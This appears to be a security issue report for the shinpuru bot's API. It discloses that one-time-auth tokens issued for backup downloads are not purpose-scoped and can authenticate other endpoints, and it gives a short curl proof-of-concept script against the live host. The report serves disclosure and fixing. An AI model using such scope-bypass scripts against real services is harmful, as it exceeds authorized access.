⚠ OTA tokens must be purpose scoped

[zekroTJA]

Description

An obtained OTA token is not scope checked for it intended purpose and can be used to authenticate every subsequent API request.

This issue has only a low severance, because OTA tokens do not contain user state information, so endpoints which require user state will fail anyway (as shown below). Though, OTA tokens should be purpose-scoped so that they can not be possibly exploited for other purposes.

Steps to Reproduce

1. Obtain an OTA token, for example by using the following API endpoint.

   POST /api/v1/guilds/{id}/backups/{backupid}/download
   

2. Use the token via the ota_token query parameter for any other auth required API endpoint.

The following script demonstrates the behavior described above.

TOKEN="<valid shinpuru API token>"
GUILD="<guild ID>"

BACKUP_ID=$(curl -s -H "Authorization: bearer $TOKEN" https://shnp.de/api/v1/guilds/$GUILD/backups | jq -r .data[0].file_id)
OTA_TOKEN=$(curl -s -H "Authorization: bearer $TOKEN" -X POST https://shnp.de/api/v1/guilds/$GUILD/backups/$BACKUP_ID/download | jq -r .token)

curl -s https://shnp.de/api/v1/me?ota_token=$OTA_TOKEN | jq